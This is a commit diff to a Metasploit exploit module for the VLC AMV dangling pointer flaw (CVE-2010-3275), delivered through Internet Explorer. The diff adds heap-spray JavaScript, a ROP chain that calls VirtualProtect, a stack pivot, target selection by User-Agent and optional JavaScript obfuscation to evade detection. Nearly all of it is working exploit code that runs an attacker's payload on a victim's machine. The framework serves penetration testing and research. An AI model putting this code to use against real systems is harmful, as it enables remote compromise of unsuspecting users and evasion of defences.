Use heaplib to spray, and use obfuscation as an option
git-svn-id: file:///home/svn/framework3/trunk@13523 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
a6a444930e
commit
a1526e86b8
|
|
@ -20,15 +20,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => "VLC AMV Dangling Pointer Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st
|
||||
byte in the file format (video width/height), VLC crashes due to an invalid pointer, which
|
||||
allows remote attackers to gain arbitrary code execution.
|
||||
|
||||
The vulnerable packages include:
|
||||
VLC 1.1.4
|
||||
VLC 1.1.5
|
||||
VLC 1.1.6
|
||||
VLC 1.1.7
|
||||
This module exploits VLC media player when handling a .AMV file. By flipping
|
||||
the 0x41st byte in the file format (video width/height), VLC crashes due to an
|
||||
invalid pointer, which allows remote attackers to gain arbitrary code execution.
|
||||
The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,
|
||||
please note that IE 8 targets require Java support in order to run properly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
|
|
@ -47,8 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'space' => 1000,
|
||||
'StackAdjustment' => -3500,
|
||||
'space' => 1024,
|
||||
#Fix the stack before the decoder so we can decode properly
|
||||
#SUB SP, 0X100; POPAD; POPFD
|
||||
'PrependEncoder' => "\x66\x81\xec\x01\x01\x61",
|
||||
#Fix the stack again so the payload runs properly
|
||||
#ADD SP,0x61
|
||||
'Prepend' => "\x66\x83\xc4\x61",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
@ -59,108 +60,215 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],
|
||||
[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],
|
||||
[ 'Windows Vista IE7', {'Ret'=>0x0c0c0c0c} ],
|
||||
[ 'Debug', {'Ret'=>0xCCCCCCCC} ],
|
||||
[ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
|
||||
[ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
|
||||
[ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ],
|
||||
[ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ]
|
||||
],
|
||||
'DisclosureDate' => "Mar 23 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def getRet(cli, request)
|
||||
def get_target(cli, request)
|
||||
#Default target
|
||||
my_target = target
|
||||
|
||||
print_status("User-Agent: #{request.headers['User-Agent']}") if datastore['VERBOSE']
|
||||
|
||||
if target.name == 'Automatic'
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
||||
return [0x0c0c0c0c].pack('V') * 8
|
||||
#Windows XP + IE 6
|
||||
my_target = targets[1]
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
|
||||
return [0x1c1c1c1c].pack('V') * 8
|
||||
#Windows XP + 7.0
|
||||
my_target = targets[2]
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
||||
#Windows XP + IE 8.0
|
||||
my_target = targets[3]
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
|
||||
return [0x0c0c0c0c].pack('V') * 8
|
||||
#Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0
|
||||
my_target = targets[4]
|
||||
elsif agent =~ /^vlc/
|
||||
#VLC identifies itself as "VLC" when requesting our trigger file
|
||||
return ""
|
||||
return 'VLC'
|
||||
elsif agent =~ /^NSPlayer/
|
||||
#NSPlayer is also used while requesting the trigger file
|
||||
return ""
|
||||
return 'VLC'
|
||||
else
|
||||
return nil
|
||||
#If we don't recognize the client, we don't fire the exploit
|
||||
my_target = nil
|
||||
end
|
||||
|
||||
else
|
||||
|
||||
#User manually specified a target
|
||||
return [target.ret].pack('V') * 8
|
||||
|
||||
end
|
||||
|
||||
return my_target
|
||||
end
|
||||
|
||||
def exploit
|
||||
#Load trigger file
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")
|
||||
f = File.open(path, "rb")
|
||||
@trigger = f.read
|
||||
f.close
|
||||
|
||||
#Set trigger file name
|
||||
@filename = rand_text_alpha(rand(6) + 3)
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
#Determine if client is a potential victim either manually or automatically,
|
||||
#and then return the appropriate EIP
|
||||
nops = getRet(cli, request)
|
||||
if nops == nil
|
||||
#Pick the right target
|
||||
my_target = get_target(cli, request)
|
||||
if my_target.nil?
|
||||
print_error("Target not supported") if datastore['VERBOSE']
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("URL: #{request.uri.to_s}") if datastore['VERBOSE']
|
||||
|
||||
#Send the trigger file upon request
|
||||
if request.uri.match(/\.amv/)
|
||||
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
|
||||
send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )
|
||||
return
|
||||
end
|
||||
|
||||
nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
#ARCH used by the victim machine
|
||||
arch = Rex::Arch.endian(my_target.arch)
|
||||
|
||||
js_func_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_shell_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_index_name = rand_text_alpha(rand(6) + 3)
|
||||
js_var_padding_offset = rand_text_alpha(rand(6) + 3)
|
||||
trigger_file = get_resource() + "/" + rand_text_alpha(rand(6) + 3) + ".amv"
|
||||
#Generate our payload
|
||||
if my_target['Rop']
|
||||
#IE 8 targets
|
||||
#mona.py tekniq! + Payload
|
||||
code = [
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x7c37a140, # Make EAX readable
|
||||
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
|
||||
0x7c348b06, # EBP (NOP)
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x7c37a140, # <- VirtualProtect() found in IAT
|
||||
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
|
||||
0x7c346c0b, # Slide, so next gadget would write to correct stack location
|
||||
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
|
||||
0x7c348b06, # EDI (filler)
|
||||
0x7c348b06, # will be patched at runtime (VP), then picked up into ESI
|
||||
0x7c348b06, # EBX (filler)
|
||||
0x7c376402, # POP EBP # RETN (msvcr71.dll)
|
||||
0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll)
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0xfffff82f, # size 20001 bytes
|
||||
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
|
||||
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
|
||||
0xffffffff, # pop value into ebx
|
||||
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
|
||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
|
||||
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
|
||||
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
|
||||
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
|
||||
0x7c34b8d8, # ROP NOP (-> edi)
|
||||
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
|
||||
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
|
||||
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x90909090, # NOPS (-> eax)
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
|
||||
].pack('V*')
|
||||
|
||||
#Append payload after the ROP chain
|
||||
code << payload.encoded
|
||||
|
||||
#Align and 'jump' to our final payload at 0x0c0c0c0c
|
||||
ini_stage = [
|
||||
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
|
||||
0x0c0c0c0c, # Address of the payload
|
||||
0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll)
|
||||
].pack('V*')
|
||||
|
||||
#Add padding to line up the pivot correctly
|
||||
ini_stage << rand_text_alpha(128-ini_stage.length)
|
||||
|
||||
nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
|
||||
code = Rex::Text.to_unescape(code, arch)
|
||||
pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch)
|
||||
else
|
||||
#Non IE 8 targets
|
||||
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
|
||||
code = Rex::Text.to_unescape(payload.encoded, arch)
|
||||
pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
|
||||
end
|
||||
|
||||
#First spray overwrites 0x0c0c0c0c with our payload
|
||||
spray_1 = <<-JS
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{code}");
|
||||
var nops = unescape("#{nops}");
|
||||
|
||||
while (nops.length < 0x1000) nops += nops;
|
||||
var offset = nops.substring(0, 0x600-0x20);
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
|
||||
while (shellcode.length < 0x20000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x10000-6)/2);
|
||||
|
||||
heap_obj.gc();
|
||||
|
||||
for (var i=0; i<0x1000; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
JS
|
||||
|
||||
#An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
|
||||
#which requires us to fill up the memory as high as 0x303234ca
|
||||
spray_2 = <<-JS
|
||||
var padding = unescape("#{nops}");
|
||||
var pivot = unescape("#{pivot}");
|
||||
|
||||
while (padding.length < 0x20000) padding += padding;
|
||||
var offset2 = padding.substring(0, 0x1ff);
|
||||
var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length);
|
||||
|
||||
while (p.length < 0x20000) p += p;
|
||||
var pivot_block = p.substring(0, (0x10000-6)/2);
|
||||
|
||||
for (var i2=0; i2 < 0x2000; i2++) {
|
||||
heap_obj.alloc(pivot_block);
|
||||
}
|
||||
JS
|
||||
|
||||
#Use heaplib
|
||||
js = heaplib(spray_1 + spray_2)
|
||||
|
||||
#obfuscate on demand
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
end
|
||||
|
||||
#Value for the 'Src' parameter of our ActiveX control
|
||||
trigger_file = get_resource() + "/" + @filename + ".amv"
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
function #{js_func_name}() {
|
||||
var #{js_var_blocks_name} = new Array();
|
||||
var #{js_var_shell_name} = unescape("#{shellcode}");
|
||||
var #{js_var_nopsled_name} = unescape("#{nopsled}");
|
||||
var #{js_var_padding_offset} = #{js_var_shell_name}.length;
|
||||
while (#{js_var_nopsled_name}.length < 0x1FBD0) { #{js_var_nopsled_name} += unescape("#{nopsled}") };
|
||||
#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);
|
||||
#{js_var_blocks_name}[0] = #{js_var_nopsled_name} + #{js_var_shell_name};
|
||||
for (#{js_var_index_name}=1; #{js_var_index_name} < 3000; #{js_var_index_name}++) {
|
||||
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);
|
||||
}
|
||||
}
|
||||
#{js_func_name}();
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<script language='javascript'>
|
||||
#{js}
|
||||
</script>
|
||||
<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
|
||||
codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
|
||||
width="0" height="0"
|
||||
events="True">
|
||||
<param name="Src" value="#{trigger_file}"></param>
|
||||
<param name="ShowDisplay" value="False" ></param>
|
||||
<param name="AutoLoop" value="no"></param>
|
||||
<param name="Src" value="#{trigger_file}"></param>
|
||||
<param name="ShowDisplay" value="False" ></param>
|
||||
<param name="AutoLoop" value="no"></param>
|
||||
<param name="AutoPlay" value="yes"></param>
|
||||
</object>
|
||||
</body>
|
||||
|
|
|
|||
Loading…
Reference in New Issue